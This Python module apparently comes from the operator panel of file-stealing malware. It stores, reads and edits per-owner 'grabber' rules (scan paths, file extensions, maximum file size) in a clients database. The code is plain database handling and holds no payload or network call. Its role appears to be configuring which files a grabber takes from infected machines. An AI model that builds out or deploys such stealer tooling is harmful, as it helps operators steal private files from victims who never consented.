#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Coded by L1ghtM3n@protonmail.com

# Import modules
from json import loads, dumps
# Import packages
from core.models.accounts import clients_db

""" Save grabber rules """
def _SaveGrabberRules(owner: str, paths: list, extensions: list, max_size: int = 2097152):
    clients_db.execute(
            sql="UPDATE grabber SET scan_paths = ?, extensions = ?, max_size = ? WHERE owner = ?",
            values=[dumps(paths), dumps(extensions), max_size, owner],
            commit_changes=True
        )

""" Get grabber rules """
def GetGrabberRules(owner: str) -> dict:
    response = clients_db.execute(
            sql="SELECT scan_paths, extensions, max_size FROM grabber WHERE owner = ?",
            values=[owner],
            commit_changes=False
        )
    # Return nothing if user not found
    if len(response) == 0:
        return {
            "paths": [], 
            "extensions": [], 
            "max_size": 0
        }
    # Return grabber settings
    return {
            "paths": loads(response[0][0]), 
            "extensions": loads(response[0][1]), 
            "max_size": response[0][2]
        }
    
""" Delete scan path from grabber """
def DeleteGrabberPath(owner: str, value: str):
    rules = GetGrabberRules(owner)
    scan_paths = rules["paths"]
    # Delete item
    for i, v in enumerate(scan_paths):
        if v == value: scan_paths.pop(i)
    # Save
    _SaveGrabberRules(owner, scan_paths, rules["extensions"], rules["max_size"])

""" Append new value to grabber paths """
def AddGrabberPath(owner: str, value: str):
    rules = GetGrabberRules(owner)
    scan_paths = rules["paths"]
    scan_paths.append(value)
    _SaveGrabberRules(owner, scan_paths, rules["extensions"], rules["max_size"])

""" Save grabber extensions list """
def SetGrabberExtensions(owner: str, values: list):
    rules = GetGrabberRules(owner)
    _SaveGrabberRules(owner, rules["paths"], values, rules["max_size"])

""" Save grabber extensions list """
def SetGrabberMaxSize(owner: str, size: int):
    rules = GetGrabberRules(owner)
    _SaveGrabberRules(owner, rules["paths"], rules["extensions"], size)
